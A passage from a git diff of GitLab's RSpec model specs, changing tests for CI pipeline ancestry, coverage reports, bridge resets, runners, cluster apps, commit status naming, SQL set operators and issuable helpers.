- create(:ci_sources_pipeline,
- source_job: create(:ci_build, pipeline: pipeline),
- source_project: pipeline.project,
- pipeline: child,
- project: child.project)
+ create_source_pipeline(pipeline, child)
end
it 'returns self and child ids' do
- expect(same_family_pipeline_ids).to contain_exactly(pipeline.id, child.id)
+ expect(subject).to contain_exactly(pipeline.id, child.id)
+ end
+ end
+
+ context 'when pipeline is a child of a child pipeline' do
+ let(:ancestor) { create(:ci_pipeline, project: pipeline.project) }
+ let(:parent) { create(:ci_pipeline, project: pipeline.project) }
+ let(:cousin_parent) { create(:ci_pipeline, project: pipeline.project) }
+ let(:cousin) { create(:ci_pipeline, project: pipeline.project) }
+
+ before do
+ create_source_pipeline(ancestor, parent)
+ create_source_pipeline(ancestor, cousin_parent)
+ create_source_pipeline(parent, pipeline)
+ create_source_pipeline(cousin_parent, cousin)
+ end
+
+ it 'returns all family ids' do
+ expect(subject).to contain_exactly(
+ ancestor.id, parent.id, cousin_parent.id, cousin.id, pipeline.id
+ )
+ end
+ end
+
+ context 'when pipeline is a triggered pipeline' do
+ let(:upstream) { create(:ci_pipeline, project: create(:project)) }
+
+ before do
+ create_source_pipeline(upstream, pipeline)
+ end
+
+ it 'returns self id' do
+ expect(subject).to contain_exactly(pipeline.id)
end
end
end
@@ -2685,7 +2838,8 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe 'notifications when pipeline success or failed' do
- let(:project) { create(:project, :repository) }
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, :repository, namespace: namespace) }
let(:pipeline) do
create(:ci_pipeline,
@@ -2698,7 +2852,7 @@ RSpec.describe Ci::Pipeline, :mailer do
project.add_developer(pipeline.user)
pipeline.user.global_notification_setting
- .update(level: 'custom', failed_pipeline: true, success_pipeline: true)
+ .update!(level: 'custom', failed_pipeline: true, success_pipeline: true)
perform_enqueued_jobs do
pipeline.enqueue
@@ -2948,6 +3102,54 @@ RSpec.describe Ci::Pipeline, :mailer do
end
end
+ describe '#has_coverage_reports?' do
+ subject { pipeline.has_coverage_reports? }
+
+ context 'when pipeline has a code coverage artifact' do
+ let(:pipeline) { create(:ci_pipeline, :with_coverage_report_artifact, :running, project: project) }
+
+ it { expect(subject).to be_truthy }
+ end
+
+ context 'when pipeline does not have a code coverage artifact' do
+ let(:pipeline) { create(:ci_pipeline, :success, project: project) }
+
+ it { expect(subject).to be_falsey }
+ end
+ end
+
+ describe '#can_generate_coverage_reports?' do
+ subject { pipeline.can_generate_coverage_reports? }
+
+ context 'when pipeline has builds with coverage reports' do
+ before do
+ create(:ci_build, :coverage_reports, pipeline: pipeline, project: project)
+ end
+
+ context 'when pipeline status is running' do
+ let(:pipeline) { create(:ci_pipeline, :running, project: project) }
+
+ it { expect(subject).to be_falsey }
+ end
+
+ context 'when pipeline status is success' do
+ let(:pipeline) { create(:ci_pipeline, :success, project: project) }
+
+ it { expect(subject).to be_truthy }
+ end
+ end
+
+ context 'when pipeline does not have builds with coverage reports' do
+ before do
+ create(:ci_build, :artifacts, pipeline: pipeline, project: project)
+ end
+
+ let(:pipeline) { create(:ci_pipeline, :success, project: project) }
+
+ it { expect(subject).to be_falsey }
+ end
+ end
+
describe '#test_report_summary' do
subject { pipeline.test_report_summary }
@@ -3228,7 +3430,8 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe '#parent_pipeline' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
+
let(:pipeline) { create(:ci_pipeline, project: project) }
context 'when pipeline is triggered by a pipeline from the same project' do
@@ -3283,7 +3486,7 @@ RSpec.describe Ci::Pipeline, :mailer do
end
describe '#child_pipelines' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
let(:pipeline) { create(:ci_pipeline, project: project) }
context 'when pipeline triggered other pipelines on same project' do
@@ -3413,4 +3616,152 @@ RSpec.describe Ci::Pipeline, :mailer do
it { is_expected.to eq(Gitlab::Git::TAG_REF_PREFIX + pipeline.source_ref.to_s) }
end
end
+
+ describe "#builds_with_coverage" do
+ it 'returns builds with coverage only' do
+ rspec = create(:ci_build, name: 'rspec', coverage: 97.1, pipeline: pipeline)
+ jest = create(:ci_build, name: 'jest', coverage: 94.1, pipeline: pipeline)
+ karma = create(:ci_build, name: 'karma', coverage: nil, pipeline: pipeline)
+
+ builds = pipeline.builds_with_coverage
+
+ expect(builds).to include(rspec, jest)
+ expect(builds).not_to include(karma)
+ end
+ end
+
+ describe '#base_and_ancestors' do
+ let(:same_project) { false }
+
+ subject { pipeline.base_and_ancestors(same_project: same_project) }
+
+ context 'when pipeline is not child nor parent' do
+ it 'returns just the pipeline itself' do
+ expect(subject).to contain_exactly(pipeline)
+ end
+ end
+
+ context 'when pipeline is child' do
+ let(:parent) { create(:ci_pipeline, project: pipeline.project) }
+ let(:sibling) { create(:ci_pipeline, project: pipeline.project) }
+
+ before do
+ create_source_pipeline(parent, pipeline)
+ create_source_pipeline(parent, sibling)
+ end
+
+ it 'returns parent and self' do
+ expect(subject).to contain_exactly(parent, pipeline)
+ end
+ end
+
+ context 'when pipeline is parent' do
+ let(:child) { create(:ci_pipeline, project: pipeline.project) }
+
+ before do
+ create_source_pipeline(pipeline, child)
+ end
+
+ it 'returns self' do
+ expect(subject).to contain_exactly(pipeline)
+ end
+ end
+
+ context 'when pipeline is a child of a child pipeline' do
+ let(:ancestor) { create(:ci_pipeline, project: pipeline.project) }
+ let(:parent) { create(:ci_pipeline, project: pipeline.project) }
+
+ before do
+ create_source_pipeline(ancestor, parent)
+ create_source_pipeline(parent, pipeline)
+ end
+
+ it 'returns self, parent and ancestor' do
+ expect(subject).to contain_exactly(ancestor, parent, pipeline)
+ end
+ end
+
+ context 'when pipeline is a triggered pipeline' do
+ let(:upstream) { create(:ci_pipeline, project: create(:project)) }
+
+ before do
+ create_source_pipeline(upstream, pipeline)
+ end
+
+ context 'same_project: false' do
+ it 'returns upstream and self' do
+ expect(subject).to contain_exactly(pipeline, upstream)
+ end
+ end
+
+ context 'same_project: true' do
+ let(:same_project) { true }
+
+ it 'returns self' do
+ expect(subject).to contain_exactly(pipeline)
+ end
+ end
+ end
+ end
+
+ describe 'reset_ancestor_bridges!' do
+ context 'when the pipeline is a child pipeline and the bridge is depended' do
+ let!(:parent_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:bridge) { create_bridge(parent_pipeline, pipeline, true) }
+
+ it 'marks source bridge as pending' do
+ pipeline.reset_ancestor_bridges!
+
+ expect(bridge.reload).to be_pending
+ end
+
+ context 'when the parent pipeline has a dependent upstream pipeline' do
+ let!(:upstream_bridge) do
+ create_bridge(create(:ci_pipeline, project: create(:project)), parent_pipeline, true)
+ end
+
+ it 'marks all source bridges as pending' do
+ pipeline.reset_ancestor_bridges!
+
+ expect(bridge.reload).to be_pending
+ expect(upstream_bridge.reload).to be_pending
+ end
+ end
+ end
+
+ context 'when the pipeline is a child pipeline and the bridge is not depended' do
+ let!(:parent_pipeline) { create(:ci_pipeline, project: project) }
+ let!(:bridge) { create_bridge(parent_pipeline, pipeline, false) }
+
+ it 'does not touch source bridge' do
+ pipeline.reset_ancestor_bridges!
+
+ expect(bridge.reload).to be_success
+ end
+
+ context 'when the parent pipeline has a dependent upstream pipeline' do
+ let!(:upstream_bridge) do
+ create_bridge(create(:ci_pipeline, project: create(:project)), parent_pipeline, true)
+ end
+
+ it 'does not touch any source bridge' do
+ pipeline.reset_ancestor_bridges!
+
+ expect(bridge.reload).to be_success
+ expect(upstream_bridge.reload).to be_success
+ end
+ end
+ end
+
+ private
+
+ def create_bridge(upstream, downstream, depend = false)
+ options = depend ? { trigger: { strategy: 'depend' } } : {}
+
+ bridge = create(:ci_bridge, pipeline: upstream, status: 'success', options: options)
+ create(:ci_sources_pipeline, pipeline: downstream, source_job: bridge)
+
+ bridge
+ end
+ end
end
diff --git a/spec/models/ci/ref_spec.rb b/spec/models/ci/ref_spec.rb
index 8bce3c10d8c..cb62646532c 100644
--- a/spec/models/ci/ref_spec.rb
+++ b/spec/models/ci/ref_spec.rb
@@ -16,51 +16,33 @@ RSpec.describe Ci::Ref do
stub_const('Ci::PipelineSuccessUnlockArtifactsWorker', unlock_artifacts_worker_spy)
end
- context 'when keep latest artifact feature is enabled' do
- before do
- stub_feature_flags(keep_latest_artifacts_for_ref: true)
- end
-
- where(:initial_state, :action, :count) do
- :unknown | :succeed! | 1
- :unknown | :do_fail! | 0
- :success | :succeed! | 1
- :success | :do_fail! | 0
- :failed | :succeed! | 1
- :failed | :do_fail! | 0
- :fixed | :succeed! | 1
- :fixed | :do_fail! | 0
- :broken | :succeed! | 1
- :broken | :do_fail! | 0
- :still_failing | :succeed | 1
- :still_failing | :do_fail | 0
- end
-
- with_them do
- context "when transitioning states" do
- before do
- status_value = Ci::Ref.state_machines[:status].states[initial_state].value
- ci_ref.update!(status: status_value)
- end
-
- it 'calls unlock artifacts service' do
- ci_ref.send(action)
-
- expect(unlock_artifacts_worker_spy).to have_received(:perform_async).exactly(count).times
- end
- end
- end
+ where(:initial_state, :action, :count) do
+ :unknown | :succeed! | 1
+ :unknown | :do_fail! | 0
+ :success | :succeed! | 1
+ :success | :do_fail! | 0
+ :failed | :succeed! | 1
+ :failed | :do_fail! | 0
+ :fixed | :succeed! | 1
+ :fixed | :do_fail! | 0
+ :broken | :succeed! | 1
+ :broken | :do_fail! | 0
+ :still_failing | :succeed | 1
+ :still_failing | :do_fail | 0
end
- context 'when keep latest artifact feature is not enabled' do
- before do
- stub_feature_flags(keep_latest_artifacts_for_ref: false)
- end
+ with_them do
+ context "when transitioning states" do
+ before do
+ status_value = Ci::Ref.state_machines[:status].states[initial_state].value
+ ci_ref.update!(status: status_value)
+ end
- it 'does not call unlock artifacts service' do
- ci_ref.succeed!
+ it 'calls unlock artifacts service' do
+ ci_ref.send(action)
- expect(unlock_artifacts_worker_spy).not_to have_received(:perform_async)
+ expect(unlock_artifacts_worker_spy).to have_received(:perform_async).exactly(count).times
+ end
end
end
end
@@ -125,8 +107,8 @@ RSpec.describe Ci::Ref do
describe '#last_finished_pipeline_id' do
let(:pipeline_status) { :running }
- let(:config_source) { Ci::PipelineEnums.config_sources[:repository_source] }
- let(:pipeline) { create(:ci_pipeline, pipeline_status, config_source: config_source) }
+ let(:pipeline_source) { Enums::Ci::Pipeline.sources[:push] }
+ let(:pipeline) { create(:ci_pipeline, pipeline_status, source: pipeline_source) }
let(:ci_ref) { pipeline.ci_ref }
context 'when there are no finished pipelines' do
@@ -142,8 +124,8 @@ RSpec.describe Ci::Ref do
expect(ci_ref.last_finished_pipeline_id).to eq(pipeline.id)
end
- context 'when the pipeline is not a ci_source' do
- let(:config_source) { Ci::PipelineEnums.config_sources[:parameter_source] }
+ context 'when the pipeline a dangling pipeline' do
+ let(:pipeline_source) { Enums::Ci::Pipeline.sources[:ondemand_dast_scan] }
it 'returns nil' do
expect(ci_ref.last_finished_pipeline_id).to be_nil
diff --git a/spec/models/ci/runner_spec.rb b/spec/models/ci/runner_spec.rb
index 8247ebf1144..3e5d068d780 100644
--- a/spec/models/ci/runner_spec.rb
+++ b/spec/models/ci/runner_spec.rb
@@ -570,7 +570,7 @@ RSpec.describe Ci::Runner do
let!(:last_update) { runner.ensure_runner_queue_value }
before do
- Ci::UpdateRunnerService.new(runner).update(description: 'new runner')
+ Ci::UpdateRunnerService.new(runner).update(description: 'new runner') # rubocop: disable Rails/SaveBang
end
it 'sets a new last_update value' do
@@ -660,7 +660,7 @@ RSpec.describe Ci::Runner do
before do
runner.tick_runner_queue
- runner.destroy
+ runner.destroy!
end
it 'cleans up the queue' do
@@ -878,7 +878,7 @@ RSpec.describe Ci::Runner do
it 'can be destroyed' do
subject
- expect { subject.destroy }.to change { described_class.count }.by(-1)
+ expect { subject.destroy! }.to change { described_class.count }.by(-1)
end
end
diff --git a/spec/models/ci_platform_metric_spec.rb b/spec/models/ci_platform_metric_spec.rb
new file mode 100644
index 00000000000..0b00875df43
--- /dev/null
+++ b/spec/models/ci_platform_metric_spec.rb
@@ -0,0 +1,94 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe CiPlatformMetric do
+ subject { build(:ci_platform_metric) }
+
+ it_behaves_like 'a BulkInsertSafe model', CiPlatformMetric do
+ let(:valid_items_for_bulk_insertion) { build_list(:ci_platform_metric, 10) }
+ let(:invalid_items_for_bulk_insertion) { [] } # class does not have any non-constraint validations defined
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:recorded_at) }
+ it { is_expected.to validate_presence_of(:count) }
+ it { is_expected.to validate_numericality_of(:count).only_integer.is_greater_than(0) }
+ it { is_expected.to allow_values('').for(:platform_target) }
+ it { is_expected.not_to allow_values(nil).for(:platform_target) }
+ it { is_expected.to validate_length_of(:platform_target).is_at_most(255) }
+ end
+
+ describe '.insert_auto_devops_platform_targets!' do
+ def platform_target_counts_by_day
+ report = Hash.new { |hash, key| hash[key] = {} }
+ described_class.all.each do |metric|
+ date = metric.recorded_at.to_date
+ report[date][metric.platform_target] = metric.count
+ end
+ report
+ end
+
+ context 'when there is already existing metrics data' do
+ let!(:metric_1) { create(:ci_platform_metric) }
+ let!(:metric_2) { create(:ci_platform_metric) }
+
+ it 'does not erase any existing data' do
+ described_class.insert_auto_devops_platform_targets!
+
+ expect(described_class.all.to_a).to contain_exactly(metric_1, metric_2)
+ end
+ end
+
+ context 'when there are multiple platform target variables' do
+ let(:today) { Time.zone.local(1982, 4, 24) }
+ let(:tomorrow) { today + 1.day }
+
+ it 'inserts platform target counts for that day' do
+ Timecop.freeze(today) do
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'ECS')
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'ECS')
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'FARGATE')
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'FARGATE')
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'FARGATE')
+ described_class.insert_auto_devops_platform_targets!
+ end
+ Timecop.freeze(tomorrow) do
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'FARGATE')
+ described_class.insert_auto_devops_platform_targets!
+ end
+
+ expect(platform_target_counts_by_day).to eq({
+ today.to_date => { 'ECS' => 2, 'FARGATE' => 3 },
+ tomorrow.to_date => { 'ECS' => 2, 'FARGATE' => 4 }
+ })
+ end
+ end
+
+ context 'when there are invalid ci variable values for platform_target' do
+ let(:today) { Time.zone.local(1982, 4, 24) }
+
+ it 'ignores those values' do
+ Timecop.freeze(today) do
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'ECS')
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'FOO')
+ create(:ci_variable, key: described_class::CI_VARIABLE_KEY, value: 'BAR')
+ described_class.insert_auto_devops_platform_targets!
+ end
+
+ expect(platform_target_counts_by_day).to eq({
+ today.to_date => { 'ECS' => 1 }
+ })
+ end
+ end
+
+ context 'when there are no platform target variables' do
+ it 'does not generate any new platform metrics' do
+ create(:ci_variable, key: 'KEY_WHATEVER', value: 'ECS')
+ described_class.insert_auto_devops_platform_targets!
+
+ expect(platform_target_counts_by_day).to eq({})
+ end
+ end
+ end
+end
diff --git a/spec/models/clusters/agent_spec.rb b/spec/models/clusters/agent_spec.rb
index bb1fc021e66..99de0d1ddf7 100644
--- a/spec/models/clusters/agent_spec.rb
+++ b/spec/models/clusters/agent_spec.rb
@@ -12,6 +12,17 @@ RSpec.describe Clusters::Agent do
it { is_expected.to validate_length_of(:name).is_at_most(63) }
it { is_expected.to validate_uniqueness_of(:name).scoped_to(:project_id) }
+ describe 'scopes' do
+ describe '.with_name' do
+ let!(:matching_name) { create(:cluster_agent, name: 'matching-name') }
+ let!(:other_name) { create(:cluster_agent, name: 'other-name') }
+
+ subject { described_class.with_name(matching_name.name) }
+
+ it { is_expected.to contain_exactly(matching_name) }
+ end
+ end
+
describe 'validation' do
describe 'name validation' do
it 'rejects names that do not conform to RFC 1123', :aggregate_failures do
diff --git a/spec/models/clusters/applications/prometheus_spec.rb b/spec/models/clusters/applications/prometheus_spec.rb
index 1215b38a9a2..82971596176 100644
--- a/spec/models/clusters/applications/prometheus_spec.rb
+++ b/spec/models/clusters/applications/prometheus_spec.rb
@@ -46,7 +46,7 @@ RSpec.describe Clusters::Applications::Prometheus do
subject { create(:clusters_applications_prometheus, :installed, cluster: cluster) }
it 'sets last_update_started_at to now' do
- Timecop.freeze do
+ freeze_time do
expect { subject.make_updating }.to change { subject.reload.last_update_started_at }.to be_within(1.second).of(Time.current)
end
end
@@ -109,10 +109,13 @@ RSpec.describe Clusters::Applications::Prometheus do
expect(subject.prometheus_client).to be_instance_of(Gitlab::PrometheusClient)
end
- it 'copies proxy_url, options and headers from kube client to prometheus_client' do
+ it 'merges proxy_url, options and headers from kube client with prometheus_client options' do
expect(Gitlab::PrometheusClient)
.to(receive(:new))
- .with(a_valid_url, kube_client.rest_client.options.merge(headers: kube_client.headers))
+ .with(a_valid_url, kube_client.rest_client.options.merge({
+ headers: kube_client.headers,
+ timeout: PrometheusAdapter::DEFAULT_PROMETHEUS_REQUEST_TIMEOUT_SEC
+ }))
subject.prometheus_client
end
@@ -150,7 +153,7 @@ RSpec.describe Clusters::Applications::Prometheus do
it 'is initialized with 3 arguments' do
expect(subject.name).to eq('prometheus')
expect(subject.chart).to eq('stable/prometheus')
- expect(subject.version).to eq('9.5.2')
+ expect(subject.version).to eq('10.4.1')
expect(subject).to be_rbac
expect(subject.files).to eq(prometheus.files)
end
@@ -167,7 +170,7 @@ RSpec.describe Clusters::Applications::Prometheus do
let(:prometheus) { create(:clusters_applications_prometheus, :errored, version: '2.0.0') }
it 'is initialized with the locked version' do
- expect(subject.version).to eq('9.5.2')
+ expect(subject.version).to eq('10.4.1')
end
end
@@ -238,7 +241,7 @@ RSpec.describe Clusters::Applications::Prometheus do
it 'is initialized with 3 arguments' do
expect(patch_command.name).to eq('prometheus')
expect(patch_command.chart).to eq('stable/prometheus')
- expect(patch_command.version).to eq('9.5.2')
+ expect(patch_command.version).to eq('10.4.1')
expect(patch_command.files).to eq(prometheus.files)
end
end
@@ -350,7 +353,7 @@ RSpec.describe Clusters::Applications::Prometheus do
let(:timestamp) { Time.current - 5.minutes }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
diff --git a/spec/models/clusters/cluster_spec.rb b/spec/models/clusters/cluster_spec.rb
index 2d0b5af0e77..024539e34ec 100644
--- a/spec/models/clusters/cluster_spec.rb
+++ b/spec/models/clusters/cluster_spec.rb
@@ -42,6 +42,7 @@ RSpec.describe Clusters::Cluster, :use_clean_rails_memory_store_caching do
it { is_expected.to delegate_method(:available?).to(:application_ingress).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_prometheus).with_prefix }
it { is_expected.to delegate_method(:available?).to(:application_knative).with_prefix }
+ it { is_expected.to delegate_method(:available?).to(:application_elastic_stack).with_prefix }
it { is_expected.to delegate_method(:external_ip).to(:application_ingress).with_prefix }
it { is_expected.to delegate_method(:external_hostname).to(:application_ingress).with_prefix }
diff --git a/spec/models/clusters/kubernetes_namespace_spec.rb b/spec/models/clusters/kubernetes_namespace_spec.rb
index 2920bbf2b58..3b903fe34f9 100644
--- a/spec/models/clusters/kubernetes_namespace_spec.rb
+++ b/spec/models/clusters/kubernetes_namespace_spec.rb
@@ -61,7 +61,8 @@ RSpec.describe Clusters::KubernetesNamespace, type: :model do
end
describe 'namespace uniqueness validation' do
- let(:kubernetes_namespace) { build(:cluster_kubernetes_namespace, namespace: 'my-namespace') }
+ let_it_be(:cluster) { create(:cluster, :project, :provided_by_gcp) }
+ let(:kubernetes_namespace) { build(:cluster_kubernetes_namespace, cluster: cluster, namespace: 'my-namespace') }
subject { kubernetes_namespace }
diff --git a/spec/models/commit_range_spec.rb b/spec/models/commit_range_spec.rb
index 3fb8708c884..334833e884b 100644
--- a/spec/models/commit_range_spec.rb
+++ b/spec/models/commit_range_spec.rb
@@ -3,25 +3,22 @@
require 'spec_helper'
RSpec.describe CommitRange do
+ let(:range2) { described_class.new("#{sha_from}..#{sha_to}", project) }
+ let(:range) { described_class.new("#{sha_from}...#{sha_to}", project) }
+ let(:full_sha_to) { commit2.id }
+ let(:full_sha_from) { commit1.id }
+ let(:sha_to) { commit2.short_id }
+ let(:sha_from) { commit1.short_id }
+ let!(:commit2) { project.commit }
+ let!(:commit1) { project.commit("HEAD~2") }
+ let!(:project) { create(:project, :public, :repository) }
+
describe 'modules' do
subject { described_class }
it { is_expected.to include_module(Referable) }
end
- let!(:project) { create(:project, :public, :repository) }
- let!(:commit1) { project.commit("HEAD~2") }
- let!(:commit2) { project.commit }
-
- let(:sha_from) { commit1.short_id }
- let(:sha_to) { commit2.short_id }
-
- let(:full_sha_from) { commit1.id }
- let(:full_sha_to) { commit2.id }
-
- let(:range) { described_class.new("#{sha_from}...#{sha_to}", project) }
- let(:range2) { described_class.new("#{sha_from}..#{sha_to}", project) }
-
it 'raises ArgumentError when given an invalid range string' do
expect { described_class.new("Foo", project) }.to raise_error(ArgumentError)
end
diff --git a/spec/models/commit_status_spec.rb b/spec/models/commit_status_spec.rb
index 7f893d6a100..6e23f95af03 100644
--- a/spec/models/commit_status_spec.rb
+++ b/spec/models/commit_status_spec.rb
@@ -494,6 +494,10 @@ RSpec.describe CommitStatus do
end
describe '#group_name' do
+ let(:commit_status) do
+ build(:commit_status, pipeline: pipeline, stage: 'test')
+ end
+
subject { commit_status.group_name }
tests = {
@@ -510,7 +514,19 @@ RSpec.describe CommitStatus do
'rspec:windows 0 : / 1' => 'rspec:windows',
'rspec:windows 0 : / 1 name' => 'rspec:windows name',
'0 1 name ruby' => 'name ruby',
- '0 :/ 1 name ruby' => 'name ruby'
+ '0 :/ 1 name ruby' => 'name ruby',
+ 'rspec: [aws]' => 'rspec: [aws]',
+ 'rspec: [aws] 0/1' => 'rspec: [aws]',
+ 'rspec: [aws, max memory]' => 'rspec',
+ 'rspec:linux: [aws, max memory, data]' => 'rspec:linux',
+ 'rspec: [inception: [something, other thing], value]' => 'rspec',
+ 'rspec:windows 0/1: [name, other]' => 'rspec:windows',
+ 'rspec:windows: [name, other] 0/1' => 'rspec:windows',
+ 'rspec:windows: [name, 0/1] 0/1' => 'rspec:windows',
+ 'rspec:windows: [0/1, name]' => 'rspec:windows',
+ 'rspec:windows: [, ]' => 'rspec:windows',
+ 'rspec:windows: [name]' => 'rspec:windows: [name]',
+ 'rspec:windows: [name,other]' => 'rspec:windows: [name,other]'
}
tests.each do |name, group_name|
diff --git a/spec/models/concerns/ci/artifactable_spec.rb b/spec/models/concerns/ci/artifactable_spec.rb
index 13c2ff5efe5..f05189abdd2 100644
--- a/spec/models/concerns/ci/artifactable_spec.rb
+++ b/spec/models/concerns/ci/artifactable_spec.rb
@@ -18,4 +18,40 @@ RSpec.describe Ci::Artifactable do
it { is_expected.to be_const_defined(:FILE_FORMAT_ADAPTERS) }
end
end
+
+ describe '#each_blob' do
+ context 'when file format is gzip' do
+ context 'when gzip file contains one file' do
+ let(:artifact) { build(:ci_job_artifact, :junit) }
+
+ it 'iterates blob once' do
+ expect { |b| artifact.each_blob(&b) }.to yield_control.once
+ end
+ end
+
+ context 'when gzip file contains three files' do
+ let(:artifact) { build(:ci_job_artifact, :junit_with_three_testsuites) }
+
+ it 'iterates blob three times' do
+ expect { |b| artifact.each_blob(&b) }.to yield_control.exactly(3).times
+ end
+ end
+ end
+
+ context 'when file format is raw' do
+ let(:artifact) { build(:ci_job_artifact, :codequality, file_format: :raw) }
+
+ it 'iterates blob once' do
+ expect { |b| artifact.each_blob(&b) }.to yield_control.once
+ end
+ end
+
+ context 'when there are no adapters for the file format' do
+ let(:artifact) { build(:ci_job_artifact, :junit, file_format: :zip) }
+
+ it 'raises an error' do
+ expect { |b| artifact.each_blob(&b) }.to raise_error(described_class::NotSupportedAdapterError)
+ end
+ end
+ end
end
diff --git a/spec/models/concerns/from_except_spec.rb b/spec/models/concerns/from_except_spec.rb
new file mode 100644
index 00000000000..3b081b4f572
--- /dev/null
+++ b/spec/models/concerns/from_except_spec.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe FromExcept do
+ it_behaves_like 'from set operator', Gitlab::SQL::Except
+end
diff --git a/spec/models/concerns/from_intersect_spec.rb b/spec/models/concerns/from_intersect_spec.rb
new file mode 100644
index 00000000000..78884f8ae56
--- /dev/null
+++ b/spec/models/concerns/from_intersect_spec.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe FromIntersect do
+ it_behaves_like 'from set operator', Gitlab::SQL::Intersect
+end
diff --git a/spec/models/concerns/from_set_operator_spec.rb b/spec/models/concerns/from_set_operator_spec.rb
new file mode 100644
index 00000000000..8ebbb5550c9
--- /dev/null
+++ b/spec/models/concerns/from_set_operator_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe FromSetOperator do
+ describe 'when set operator method already exists' do
+ let(:redefine_method) do
+ Class.new do
+ def self.from_union
+ # This method intentionally left blank.
+ end
+
+ extend FromSetOperator
+ define_set_operator Gitlab::SQL::Union
+ end
+ end
+
+ it { expect { redefine_method }.to raise_exception(RuntimeError) }
+ end
+end
diff --git a/spec/models/concerns/from_union_spec.rb b/spec/models/concerns/from_union_spec.rb
index 9819a6ec3de..bd2893090a8 100644
--- a/spec/models/concerns/from_union_spec.rb
+++ b/spec/models/concerns/from_union_spec.rb
@@ -3,38 +3,13 @@
require 'spec_helper'
RSpec.describe FromUnion do
- describe '.from_union' do
- let(:model) do
- Class.new(ActiveRecord::Base) do
- self.table_name = 'users'
-
- include FromUnion
+ [true, false].each do |sql_set_operator|
+ context "when sql-set-operators feature flag is #{sql_set_operator}" do
+ before do
+ stub_feature_flags(sql_set_operators: sql_set_operator)
end
- end
-
- it 'selects from the results of the UNION' do
- query = model.from_union([model.where(id: 1), model.where(id: 2)])
-
- expect(query.to_sql).to match(/FROM \(\(SELECT.+\)\nUNION\n\(SELECT.+\)\) users/m)
- end
-
- it 'supports the use of a custom alias for the sub query' do
- query = model.from_union(
- [model.where(id: 1), model.where(id: 2)],
- alias_as: 'kittens'
- )
-
- expect(query.to_sql).to match(/FROM \(\(SELECT.+\)\nUNION\n\(SELECT.+\)\) kittens/m)
- end
-
- it 'supports keeping duplicate rows' do
- query = model.from_union(
- [model.where(id: 1), model.where(id: 2)],
- remove_duplicates: false
- )
- expect(query.to_sql)
- .to match(/FROM \(\(SELECT.+\)\nUNION ALL\n\(SELECT.+\)\) users/m)
+ it_behaves_like 'from set operator', Gitlab::SQL::Union
end
end
end
diff --git a/spec/models/concerns/id_in_ordered_spec.rb b/spec/models/concerns/id_in_ordered_spec.rb
new file mode 100644
index 00000000000..a3b434caac6
--- /dev/null
+++ b/spec/models/concerns/id_in_ordered_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IdInOrdered do
+ describe 'Issue' do
+ describe '.id_in_ordered' do
+ it 'returns issues matching the ids in the same order as the ids' do
+ issue1 = create(:issue)
+ issue2 = create(:issue)
+ issue3 = create(:issue)
+ issue4 = create(:issue)
+ issue5 = create(:issue)
+
+ expect(Issue.id_in_ordered([issue3.id, issue1.id, issue4.id, issue5.id, issue2.id])).to eq([
+ issue3, issue1, issue4, issue5, issue2
+ ])
+ end
+
+ context 'when the ids are not an array of integers' do
+ it 'raises ArgumentError' do
+ expect { Issue.id_in_ordered([1, 'no SQL injection']) }.to raise_error(ArgumentError, "ids must be an array of integers")
+ end
+ end
+
+ context 'when an empty array is given' do
+ it 'does not raise error' do
+ expect(Issue.id_in_ordered([]).to_a).to be_empty
+ end
+ end
+ end
+ end
+end
diff --git a/spec/models/concerns/issuable_spec.rb b/spec/models/concerns/issuable_spec.rb
index 0824b5c7834..44561e2e55a 100644
--- a/spec/models/concerns/issuable_spec.rb
+++ b/spec/models/concerns/issuable_spec.rb
@@ -295,20 +295,14 @@ RSpec.describe Issuable do
end
describe "#new?" do
- it "returns true when created today and record hasn't been updated" do
- allow(issue).to receive(:today?).and_return(true)
- expect(issue.new?).to be_truthy
- end
-
- it "returns false when not created today" do
- allow(issue).to receive(:today?).and_return(false)
+ it "returns false when created 30 hours ago" do
+ allow(issue).to receive(:created_at).and_return(Time.current - 30.hours)
expect(issue.new?).to be_falsey
end
- it "returns false when record has been updated" do
- allow(issue).to receive(:today?).and_return(true)
- issue.update_attribute(:updated_at, 1.hour.ago)
- expect(issue.new?).to be_falsey
+ it "returns true when created 20 hours ago" do
+ allow(issue).to receive(:created_at).and_return(Time.current - 20.hours)
+ expect(issue.new?).to be_truthy
end
end
@@ -824,4 +818,166 @@ RSpec.describe Issuable do
it_behaves_like 'matches_cross_reference_regex? fails fast'
end
end
+
+ describe '#supports_time_tracking?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:issuable_type, :supports_time_tracking) do
+ :issue | true
+ :incident | false
+ :merge_request | true
+ end
+
+ with_them do
+ let(:issuable) { build_stubbed(issuable_type) }
+
+ subject { issuable.supports_time_tracking? }
+
+ it { is_expected.to eq(supports_time_tracking) }
+ end
+ end
+
+ describe '#supports_severity?' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:issuable_type, :supports_severity) do
+ :issue | false
+ :incident | true
+ :merge_request | false
+ end
+
+ with_them do
+ let(:issuable) { build_stubbed(issuable_type) }
+
+ subject { issuable.supports_severity? }
+
+ it { is_expected.to eq(supports_severity) }
+ end
+ end
+
+ describe '#incident?' do
